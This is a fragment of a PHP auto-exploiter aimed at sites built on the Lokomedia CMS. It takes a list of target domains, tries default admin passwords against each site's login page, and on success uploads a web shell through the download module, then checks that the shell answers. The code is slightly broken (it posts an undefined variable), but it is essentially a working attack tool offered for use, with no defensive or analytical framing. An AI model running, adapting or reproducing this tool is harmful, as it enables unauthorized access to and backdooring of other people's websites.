Lokomedia File Upload

Lokomedia Shell Upload

Domain:

"; if($_POST['hajar']) { $domain = explode("\r\n", $_POST['url']); $up = array( "admin" => "admin", "admin" => "123456", "azzatssins" => "azzatssins", ); foreach($domain as $url) { foreach($up as $user => $pass) { $data1 = array( "username" => $user, "password" => $pass, ); $login = curl($url."/adminweb/cek_login.php", $data1); if(preg_match("/Logout|Administrator/", $login)) { $file = "shell/fuck.php"; //1 dir dengan exploiternyaa $data2 = array( "judul" => "azzatssins cyberserkers", "fupload" => "@$file", "upload" => "      Simpan     ", ); $ngirim = curl($url."/adminweb/modul/mod_download/aksi_download.php?module=download&act=input",$data); if(preg_match("/azzatssins auto exploiter lokomedia/i", $ngirim)) { echo "[+] $url -> sukses login [ user: $user pass: $pass ]
"; $cek = cek("$url/files/image.php"); if(preg_match("/azzatssins/", $cek)) { echo "[+] $url/files/image.php -> shelmu.

"; } else { echo "[-] shellmu gaada.

"; } } } else { echo "[-] $url -> gagal login

"; } } } } ?>